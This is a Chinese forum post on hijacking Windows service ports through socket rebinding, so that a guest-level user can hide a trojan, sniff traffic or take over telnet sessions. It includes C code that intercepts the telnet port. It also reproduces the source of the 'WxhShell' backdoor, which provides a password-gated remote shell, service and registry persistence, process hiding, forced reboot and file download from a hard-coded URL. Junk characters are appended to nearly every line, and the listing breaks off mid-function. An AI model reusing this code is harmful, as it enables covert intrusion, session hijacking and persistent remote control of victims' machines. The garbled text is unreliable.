社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17091阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }8E//$J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {p -b,J9~a  
:[gM 5G  
  saddr.sin_family = AF_INET; HR'r~ #j  
!ndc <],  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 846j<fE  
cnAwoTt4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'U<-w$!f+^  
{;4AdZk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^FSUK  
]JQk,<l5E  
  这意味着什么?意味着可以进行如下的攻击: Zf<M14iM  
wAE ,mw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m ys5B}  
=re1xR!E5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YH`/;H=$G/  
Gy36{*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t0Q/vp*/  
zn5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  x1)G!i  
O`e0r%SJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 DJ"O`qNV3  
t?^C9(;6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 sMAc+9G9k  
h tbN7B(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 WXj}gL`  
DKL< "#.7  
  #include L|G!of[8n  
  #include t5h]]TOz  
  #include ['pk/h  
  #include    (80#{4kl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <a *X&P  
  int main() >8;Co]::kx  
  { 2BOe,giy  
  WORD wVersionRequested; F,#)8>O  
  DWORD ret; Yo:l@(  
  WSADATA wsaData; 8:,E=swe  
  BOOL val; -A}*Aa'\  
  SOCKADDR_IN saddr; 8XwAKN:f  
  SOCKADDR_IN scaddr; ShanwaCDqv  
  int err; gkS#=bv9e@  
  SOCKET s; | ]`gps  
  SOCKET sc; U6qv8*~  
  int caddsize; @L|X('i  
  HANDLE mt; k))*Sg  
  DWORD tid;   'j=7'aX>K  
  wVersionRequested = MAKEWORD( 2, 2 ); x#"|Z&Dw0  
  err = WSAStartup( wVersionRequested, &wsaData ); E)|_7x<u  
  if ( err != 0 ) { <^VZ4$j  
  printf("error!WSAStartup failed!\n"); HBYqqEO  
  return -1; "HFS5Bj'  
  } +M%i3A  
  saddr.sin_family = AF_INET; yEt:g0Z \  
   ,-Fhb~u  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i> Ssp  
 G~T]m .  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p~M1}mE  
  saddr.sin_port = htons(23); e47JLW&b  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) le`&VdE^  
  { ((rk)Q+;v  
  printf("error!socket failed!\n"); /=4P< &J  
  return -1; +v%V1lf^~  
  } l|-1H76  
  val = TRUE; ?}%Gr,tj2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 th8f  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) P%>? O :a  
  { 4R\bU"+jZ_  
  printf("error!setsockopt failed!\n"); V#!ihL/>  
  return -1; xd8UdQ, lt  
  } =9n$ at$l@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &9\z!r6mc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "/hM&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x Yr-,$/  
{e[S?1t=l  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l(9$s4R  
  { cH6ie?KvAo  
  ret=GetLastError(); jJl6H~ "q  
  printf("error!bind failed!\n"); 9BB<. p  
  return -1;  hi,!  
  } -i|qk`Y  
  listen(s,2); >%+ "-bY  
  while(1) ]aq!@rDX  
  { wJh|$Vn  
  caddsize = sizeof(scaddr); IXt2R~b  
  //接受连接请求 9"2.2li5$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~u1ox_v`%(  
  if(sc!=INVALID_SOCKET) V ?3>hQtB  
  { a_I!2w<I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a8aEZ724  
  if(mt==NULL) qVC_K/w 7  
  { boo,KhW'Y  
  printf("Thread Creat Failed!\n"); X"b4U\A  
  break; *Id$%O  
  } wo7.y["$  
  } i ^sK+v  
  CloseHandle(mt); zvL&V .>  
  } ~\/>b}^uf'  
  closesocket(s); 0CI?[R\  
  WSACleanup(); I})la!9   
  return 0; ?HVsIAU  
  }   ]CH@ T9d5V  
  DWORD WINAPI ClientThread(LPVOID lpParam) v vlfL*f  
  { #(h~l> r  
  SOCKET ss = (SOCKET)lpParam; I"@X~Y7}  
  SOCKET sc; y|q4d(P.  
  unsigned char buf[4096]; -@i)2J_WP  
  SOCKADDR_IN saddr; CmRn  
  long num; NUb^!E"  
  DWORD val; tx&>Eo  
  DWORD ret; B{a:cz>0<  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {f#{NA5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   aGNVqS%y  
  saddr.sin_family = AF_INET; ( gO?-0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); tC\x9&:  
  saddr.sin_port = htons(23); zB\g'F/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8-cG[/|0  
  { sl|s#+Z  
  printf("error!socket failed!\n"); (.P;VH9R\  
  return -1; wq_c^Ioy  
  } &T]+g8''  
  val = 100; b>E%&sf  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VP\HPSp  
  { rB?u.jn0T  
  ret = GetLastError(); E!Hq%L!/  
  return -1; xq =+M!V  
  } F/ 2@%,2n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Km]N scq1  
  { JWy$` "{  
  ret = GetLastError(); 1O45M/5\o  
  return -1; I!jSAc{  
  } M ! gX4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mc|T}B  
  { x +|Fw d  
  printf("error!socket connect failed!\n"); PqPLy  
  closesocket(sc); "%urT/F v&  
  closesocket(ss); %H>vMR-,~  
  return -1; |`s}PcV  
  } P~ _CDh.N  
  while(1) 0{ v?  
  { {b^naE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [ar:zl V8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4DEsB)%X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cGkl=-oQ'  
  num = recv(ss,buf,4096,0); R%aH{UhE`  
  if(num>0) G#5Cyu<r!  
  send(sc,buf,num,0); @iUzRsl  
  else if(num==0) 3`TC*  
  break; vQ+}rHf`[  
  num = recv(sc,buf,4096,0); T =3te|fv  
  if(num>0) jp8=>mk  
  send(ss,buf,num,0); m<8j' [+  
  else if(num==0) _XXK1H x  
  break; 7E Y~5U/4  
  } YC&iH>jO3  
  closesocket(ss); ~D@ V@sX  
  closesocket(sc); z A&0H  
  return 0 ; ,M7sOp6}  
  } f Otrn  
|C'w] QYm  
/2>-h-zBjw  
========================================================== 7zr\AgV9  
U`FybP2R~  
下边附上一个代码,,WXhSHELL W euV+}\b  
'`"LX!"ZO  
========================================================== -_uL;9r  
2-llT  
#include "stdafx.h" Ms1G&NYP  
VT3Zo%Xx  
#include <stdio.h> |rdG+ >  
#include <string.h> &-<"HW  
#include <windows.h> wuzz Wq  
#include <winsock2.h> }K~JM1(26  
#include <winsvc.h> <B`}18x  
#include <urlmon.h> {tOuKnnS  
J}jK_  
#pragma comment (lib, "Ws2_32.lib") Vnh +2XiK  
#pragma comment (lib, "urlmon.lib")  3mWo`l  
"x\3`Qk  
#define MAX_USER   100 // 最大客户端连接数 _QvyFKAM  
#define BUF_SOCK   200 // sock buffer gK(E0p"  
#define KEY_BUFF   255 // 输入 buffer XYod>[.x  
l]WV?^*  
#define REBOOT     0   // 重启 a47Btd'm  
#define SHUTDOWN   1   // 关机 8o-?Y.2  
(&x~pv"+  
#define DEF_PORT   5000 // 监听端口 ?[RG8,B  
vR,HCI  
#define REG_LEN     16   // 注册表键长度 hp-< 8Mf  
#define SVC_LEN     80   // NT服务名长度 ,z1# |Y  
n/$BdFH  
// 从dll定义API b cM#KA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *Z{$0K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1"/V?ArfL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); + A0@# :B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qu[w_1%S  
4c2P%X( C  
// wxhshell配置信息 &tWWb`  
struct WSCFG { JTx}{kVO  
  int ws_port;         // 监听端口 KNY<"b  
  char ws_passstr[REG_LEN]; // 口令 rFx2 S  
  int ws_autoins;       // 安装标记, 1=yes 0=no X'k w5P!sq  
  char ws_regname[REG_LEN]; // 注册表键名 =7e8N&-nv  
  char ws_svcname[REG_LEN]; // 服务名 wW%I < M  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `W]a @\EYA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T{uktIO/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 am%qlN<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 44%H? ,d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "VT5WFj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n:*+pL;  
z7<^aS  
}; N->;q^  
2CmeO&(Qf*  
// default Wxhshell configuration < ht >>  
struct WSCFG wscfg={DEF_PORT, WZm^:,  
    "xuhuanlingzhe", #jZ:Ex  
    1, ~B=\![  
    "Wxhshell", 2~ 'Q#(  
    "Wxhshell", #m$H'O[WG\  
            "WxhShell Service", xje{ kx#  
    "Wrsky Windows CmdShell Service", yLDHJ}R  
    "Please Input Your Password: ", !?l 23(d  
  1, ;euWpE;E\#  
  "http://www.wrsky.com/wxhshell.exe", r#Pd@SV  
  "Wxhshell.exe" 1Rczf(,aT  
    }; =x7ODBYW^  
Ev^Xs6 }"  
// 消息定义模块 ^k_!+8"q{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k&~vVx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s &.Z;X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; il#rdJ1@t  
char *msg_ws_ext="\n\rExit."; e<p$Op  
char *msg_ws_end="\n\rQuit."; ?0?'  
char *msg_ws_boot="\n\rReboot..."; PN.6BJvu  
char *msg_ws_poff="\n\rShutdown..."; jV<LmVcZY  
char *msg_ws_down="\n\rSave to "; _p_F v>>:  
3/[=  
char *msg_ws_err="\n\rErr!"; KDXo9FzF  
char *msg_ws_ok="\n\rOK!"; Iewq?s\Fo  
wZC'BLD  
char ExeFile[MAX_PATH]; ~f@<]  
int nUser = 0; &>s(f-\8  
HANDLE handles[MAX_USER]; AoR`/tr,  
int OsIsNt; &a|oJ'clz  
TM"-X\e~{  
SERVICE_STATUS       serviceStatus; <=zGaU,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #zy%B  
SHGO;  
// 函数声明 Fx@ {]  
int Install(void); :EO}uP2  
int Uninstall(void); r! M2H {  
int DownloadFile(char *sURL, SOCKET wsh); |SxEJ  
int Boot(int flag); 7q\c\qL  
void HideProc(void); NNfCJ|  
int GetOsVer(void); nuCK7X  
int Wxhshell(SOCKET wsl); \O0fo^+U,,  
void TalkWithClient(void *cs); t{ 7l.>kf  
int CmdShell(SOCKET sock); 4/h2_  
int StartFromService(void); Gt1Up~\s  
int StartWxhshell(LPSTR lpCmdLine); t]` 2f3UO  
q@\_q!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sbs"26IE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xv*mK1e  
#>,cc?H-  
// 数据结构和表定义 1z`,*eD7  
SERVICE_TABLE_ENTRY DispatchTable[] = }UO,R~q~  
{ D~y]d  
{wscfg.ws_svcname, NTServiceMain}, ?k3b\E3  
{NULL, NULL} x$Dv&4  
}; */\.-L{h  
869`jA &7"  
// 自我安装 c !;wp,c  
int Install(void) x:bYd\ EJ[  
{ <VBw1|)$@  
  char svExeFile[MAX_PATH]; :1{j&$  
  HKEY key; "/ "qg  
  strcpy(svExeFile,ExeFile); |`okIqp  
4ku/3/ 6  
// 如果是win9x系统,修改注册表设为自启动 ex=~l O  
if(!OsIsNt) { =aekY;/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [_0g^(`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F9<OKcXH  
  RegCloseKey(key); Ya_6Zd4O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { roA1= G\Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5^Y/RS i  
  RegCloseKey(key); KF'M4P  
  return 0; &Ch)SD  
    } |HEw~x<=  
  } t,+S~Cj|  
} L!p|RKz9X  
else { s +GF- kJ*  
IN"vi|1  
// 如果是NT以上系统,安装为系统服务 ##5/%#eZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YNXk32@j@e  
if (schSCManager!=0) Om^/tp\  
{ BNy"YK$  
  SC_HANDLE schService = CreateService 7X|r';"?i  
  ( {#%xq]r_  
  schSCManager, Cb6MD  
  wscfg.ws_svcname, S3_4i;K\  
  wscfg.ws_svcdisp, HDEG/k/~m  
  SERVICE_ALL_ACCESS, Z~uKT n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , br;G5^j3?  
  SERVICE_AUTO_START, ]M2<I#hF.  
  SERVICE_ERROR_NORMAL, ./ :86@O  
  svExeFile, KRtu@;?  
  NULL, 93J)9T  
  NULL, }*'ha=`J  
  NULL, 4yA`);r62  
  NULL, 6+5Catsn  
  NULL #SYWAcTkO}  
  ); _y9P]@Q7%  
  if (schService!=0) 1FJ[_ l  
  { Kzb@JBIF  
  CloseServiceHandle(schService); 6ZR0_v;TD  
  CloseServiceHandle(schSCManager); *I67SBt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ig<p(G.;}  
  strcat(svExeFile,wscfg.ws_svcname); E8i:ER $$7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p[)<d_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  eqR#`  
  RegCloseKey(key); uI2'jEjO  
  return 0; f*],j  
    } (HI%C@e9  
  } _Pkh`}W:  
  CloseServiceHandle(schSCManager); p5l$On  
} ?a%i|Z7!  
} _p&$X  
;N\?]{ L  
return 1; S:YL<_oI|  
} j 7 URg>i0  
nrIL_  
// 自我卸载 !cb#fl  
int Uninstall(void) uE j6A  
{ J7GsNFL  
  HKEY key; fYy.>m+P1  
6\;1<Sw*  
if(!OsIsNt) { ra>`J_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )0mDN.  
  RegDeleteValue(key,wscfg.ws_regname); JNaW> X$K  
  RegCloseKey(key); e_], O_ Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .@Uz/j?>  
  RegDeleteValue(key,wscfg.ws_regname); [MS.5+1Y  
  RegCloseKey(key); !j9i=YDb  
  return 0; mPin\-I  
  } B: ~;7A\  
} \NU [DHrMP  
} l;A_Aii(  
else { MuGg z>CV[  
ts<dUO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6ZpcT&yL  
if (schSCManager!=0) )|R9mW=k9P  
{ .,Qnn}:l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^gzNP#A<'o  
  if (schService!=0) "PaGDhS  
  { fR4l4 GU?)  
  if(DeleteService(schService)!=0) { M7R&J'SAY  
  CloseServiceHandle(schService); t3$gwO$  
  CloseServiceHandle(schSCManager); JF%=Bc$C  
  return 0; 5Kj4!Ai  
  } ,,@`l\Pgd  
  CloseServiceHandle(schService); k{jw%a<Sc  
  } cl{W]4*$  
  CloseServiceHandle(schSCManager); k_<{j0z.  
} X3{1DY3@u  
} K9Xd? ]a  
DA)v3Nd  
return 1; =zeLs0s;  
} 1 \*B.  
6 v^  
// 从指定url下载文件 qLi9ym, ]  
int DownloadFile(char *sURL, SOCKET wsh)  |7zP 8  
{ _F@p53WE  
  HRESULT hr; "jO3Y/>S  
char seps[]= "/"; @O}j:b  
char *token; sLdUrD%  
char *file; 6^O?p2xpo  
char myURL[MAX_PATH]; 1L8ULxi_?]  
char myFILE[MAX_PATH]; ll\^9 4]Q  
xeM':hD.o  
strcpy(myURL,sURL); ZT"|o\G^Q  
  token=strtok(myURL,seps); 6'Yn|A  
  while(token!=NULL) XYHCggy  
  { M |?p3%  
    file=token; lzs(i 2pA  
  token=strtok(NULL,seps); *rcuhw"^b#  
  } S"TMsi  
 OI_/7@L  
GetCurrentDirectory(MAX_PATH,myFILE); U@J/  
strcat(myFILE, "\\"); BX(d"z b<  
strcat(myFILE, file); * \o$-6<  
  send(wsh,myFILE,strlen(myFILE),0); (1AA;)`Kp  
send(wsh,"...",3,0); Di<J6xu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `JWYPsWk  
  if(hr==S_OK) ]~00=nXFM/  
return 0; Cxk$"_  
else _Sgk^i3v  
return 1; `bZU&A(`Be  
E)Qh]:<2v  
} PR@4' r|a  
7s8<FyFsjd  
// 系统电源模块 fE%[j?[  
int Boot(int flag) 0uIV6LI  
{ 2r}uE\GN  
  HANDLE hToken; i\Pr3 7 "  
  TOKEN_PRIVILEGES tkp; ^UvK~5tBV  
9MB\z"b?A  
  if(OsIsNt) { 6+ $d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rw8J:?0x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nN=:#4 >Y  
    tkp.PrivilegeCount = 1;  pO/SV6N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vbA7I<;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x1:Pj  
if(flag==REBOOT) { 52MCUl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r($_>TS&"  
  return 0; J`+`Kq1T  
} hGA!1a4 c  
else { < [S1_2b.t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }.MoDR3\  
  return 0; oBj>9I;  
} P10p<@?  
  } Dl zmAN  
  else { l0caP(  
if(flag==REBOOT) { NT;x1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) we\b]  
  return 0; ~*mOt 7G  
} uZ/7t(fy  
else { N{^>MRK=5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l|vWeBs  
  return 0; PUE'Rr(Q  
} )7I.N]=  
} :!I)r$  
JMirz~%ib  
return 1; pY)j0tdd  
} Fp5NRM*-!  
@cu}3>  
// win9x进程隐藏模块 ]@/^_f>D  
void HideProc(void) ;WvYzd9  
{ MJ>Qq[0  
uXQ7eXX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I|F~HUzA"  
  if ( hKernel != NULL ) Jcalf{W6  
  { J-, H6u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MdVCD^B  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 84p[N8  
    FreeLibrary(hKernel); $kkp*3{ot  
  } |D;"D  
ZSF=  
return; Y( 1L>4  
} V#gF*]q  
6bbZ<E5At  
// 获取操作系统版本 ,5eH2W  
int GetOsVer(void) ;&+[W(7Sy  
{ Sv~YFS :oy  
  OSVERSIONINFO winfo; @ate49W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <+? Y   
  GetVersionEx(&winfo); 2fkIdy#n@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~T>jBYI0  
  return 1; z*M}=`M$  
  else :]B% >*;}  
  return 0; I~p8#<4#b  
} Y!Uu173  
P Pwxk;  
// 客户端句柄模块 +  ZR(  
int Wxhshell(SOCKET wsl) >/TB_ykb  
{ )Lc<;=w'9  
  SOCKET wsh; r@*=|0(OrK  
  struct sockaddr_in client; c&7Do}  
  DWORD myID; >a&?AP #  
Y )u_nn'[  
  while(nUser<MAX_USER) ?%\mQmjas  
{ \LO_Nu9  
  int nSize=sizeof(client); _`bS[%CJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QL)>/%yU  
  if(wsh==INVALID_SOCKET) return 1; 1DEO3p  
<a8#0ojm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [2GXAvXsT  
if(handles[nUser]==0) M1AZ}b c0]  
  closesocket(wsh); :DZLjC  
else ,}9f(`  
  nUser++; js:C mnI  
  } do:QH.q8)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CS~=Z>6EjA  
uY&=eQ_Cb  
  return 0; Cz'xGW{  
} ]j& FbP)3  
+M44XhT  
// 关闭 socket `pP9z;/Xq  
void CloseIt(SOCKET wsh) -Wl)Lez@  
{ %B#hb<7}  
closesocket(wsh); Z |2E b*  
nUser--; &mh Ln4^  
ExitThread(0); d^KBIz8$5l  
} ^G}# jg.  
>Hdjsu5{N  
// 客户端请求句柄 vP3K7En  
void TalkWithClient(void *cs) uz*d^gr}  
{ E4Y "X  
OOCQsoN  
  SOCKET wsh=(SOCKET)cs; /a@ kS  
  char pwd[SVC_LEN]; -L@]I$Yo  
  char cmd[KEY_BUFF]; x  S   
char chr[1]; -1Djo:y  
int i,j; [X;>*-  
%z(9lAe  
  while (nUser < MAX_USER) { h6g=$8E  
|n+ #1_t%  
if(wscfg.ws_passstr) { |.1qy,|!X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E9^(0\Z I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^4+r*YvcM  
  //ZeroMemory(pwd,KEY_BUFF); J1.qhy>  
      i=0; *Y8XP8u/  
  while(i<SVC_LEN) { 'eqiYY|  
i4hJE  
  // 设置超时 n4^*h4J7  
  fd_set FdRead; /wr6\53J  
  struct timeval TimeOut; QZ?d2PC=>?  
  FD_ZERO(&FdRead); S*4f%!  
  FD_SET(wsh,&FdRead); <e'P%tG'  
  TimeOut.tv_sec=8; Oz :D.V 3~  
  TimeOut.tv_usec=0; <\h*Zy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1+R:3(AC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GA.BI"l  
SV&kWbS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !d\t:0;  
  pwd=chr[0]; ,,S9$@R  
  if(chr[0]==0xd || chr[0]==0xa) { v#zPH5xo  
  pwd=0; d{W}p~UbH  
  break; TW>?h=.z  
  } .\$Wy$ d  
  i++; d&hD[v  
    } ; vMn/  
. =&Jo9  
  // 如果是非法用户,关闭 socket 6A}eSG3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !&W|myN^  
} ~ 9=27 p  
3Q",9(D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h9)RJSF4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F@9Y\. ,  
pqJ)G;%9  
while(1) { jM*AL X  
|Td_S|:d  
  ZeroMemory(cmd,KEY_BUFF); n<E.Em1  
pL~=Z?(B  
      // 自动支持客户端 telnet标准   d^tVD`Fm  
  j=0; JfkTw~'R  
  while(j<KEY_BUFF) { t')h{2&&!2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `Z:3` 7c  
  cmd[j]=chr[0]; ;J'OakeVO  
  if(chr[0]==0xa || chr[0]==0xd) { c )03Ms4 D  
  cmd[j]=0; _D-5}a"  
  break; 9/G!0uE  
  } }S,-uggz  
  j++; zHV|-R  
    } L%f;J/  
57U%`  
  // 下载文件 B3Mx,uXT\  
  if(strstr(cmd,"http://")) { f4 Q( 1(C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q8/ihA6:  
  if(DownloadFile(cmd,wsh)) ms7SoY bSu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IQIbz{bMx  
  else $Buf#8)F*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wk@yTTnb  
  } ^T{8uJ'kn  
  else { XoJgs$3B  
8^y=H=  
    switch(cmd[0]) { vb %T7  
  ;,dkJ7M  
  // 帮助 iOll WkF  
  case '?': { [%jxf\9jJ_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q&gPa]z]}  
    break; @HvScg*Y  
  } d5:tSO  
  // 安装 K@6`-|I  
  case 'i': { dnwdFsf  
    if(Install()) { UOhVJy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WO@H*  
    else 8[~~gYl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [^M|lf   
    break; x<@kjfm5  
    } HVGr-/  
  // 卸载 v J-LPTB  
  case 'r': { S*g`d;8gV  
    if(Uninstall()) ,%Z&*n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SW#BZ3L  
    else E+z18Lf?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =53b Lzr  
    break; )tD6=Iz^5  
    } "XhOsMJ  
  // 显示 wxhshell 所在路径 *> KHRR<N  
  case 'p': { gQ>2!Qc a-  
    char svExeFile[MAX_PATH]; tOM(U-7Z&  
    strcpy(svExeFile,"\n\r"); "J !}3)n  
      strcat(svExeFile,ExeFile); yb?{LL-uy  
        send(wsh,svExeFile,strlen(svExeFile),0); ]\BUoQ7I/  
    break; a.DX%C /5  
    } [sj VRW-  
  // 重启 G'9{a'  
  case 'b': { (Xo SG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +0"x|$f~  
    if(Boot(REBOOT)) KmL$M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 87<9V.s 2  
